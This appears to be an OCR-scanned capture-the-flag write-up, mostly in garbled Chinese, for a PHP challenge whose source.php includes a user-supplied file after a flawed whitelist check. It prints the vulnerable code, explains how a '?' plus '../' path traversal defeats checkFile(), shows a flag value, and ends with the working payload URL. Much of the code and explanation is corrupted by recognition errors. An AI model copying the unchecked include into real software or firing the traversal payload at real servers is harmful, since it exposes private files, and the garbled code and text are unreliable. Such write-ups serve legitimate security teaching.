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<?php
highlight file(_ FILE );
class emmm

{
public static function checkFile(&$page)
{
$whitelist ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$ _page = mb_substr(
$page,
UI
mb_strpos($page . '?', '?")
)i
if (in_array($ page, Swhitelist)) {
return true;
}
% page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
)i
if (in_array($ page, Swhitelist)) {
return true;
}
echo "you can't see it";
return false;
I}
3
if (! empty($ REQUEST['file'])

&& is_string($_REQUEST['file'])

&& emmm::checkFile($ REQUEST[ 'file'])
) o

include § REQUEST['file'];

exit;
} else {

echo "<br><img sre=%\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
3

>

IR
SEBSER A if

if (! empty( ["file'])
is_string( ["file'])
emmm: : checkFile( ["file'])

) {
include ["file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb@d93dc794.jpg\" />";

1. AN E file A RDE, HHHN string F58Y, FHHUAT checkFile() HEL
2. =AM NETIHAT include

3. =AM BN T R

B checkFile() A%



public static function checkFile(&$page)

I
1

$whitelist ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) is_string($page)) {
echo "you can't see it";

return false;

if (in_array($page, $whitelist)) {

return true;

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)
if (in_array($_page, $whitelist)) {

return true;

$_page = urldecode($page);

$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?")

)

if (in_array($_page, $whitelist)) {
return true;

)i

echo "you can't see it";

return false;
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e $page NANTHANFFFH, kAl false

e ¢page /f $whitelist FH, iR[El true

e mb_substr() EREERE R H

e mb_strpos() EREURFITE $page H ? BIMINE, ¥ A W HE $page HIH
o HHUS $page 7E $whitelist Fdlh, iR[E true

o Xf $page AT URLARRG
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i) checkFile() BRI hint.php T :

flag not here, and flag in fffflillaaaagggg

$e7R 1 flag FT{EMEgAe, 2l
source.php?file=source.php?../ffffllllaaaagggg

K4 checkFile() BREUZSVCHC ? BRI A ZS 2 B ESUAH whitelist H, BOAAFIETERN H3K, 2R ../ 135 flag

<img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
2> flag{eaa53541-fd9c-4bdf-8650-29¢c92bffdcf9}

% payload:

source.php?file=source.php?../../../../../ffffllllaaaagggg
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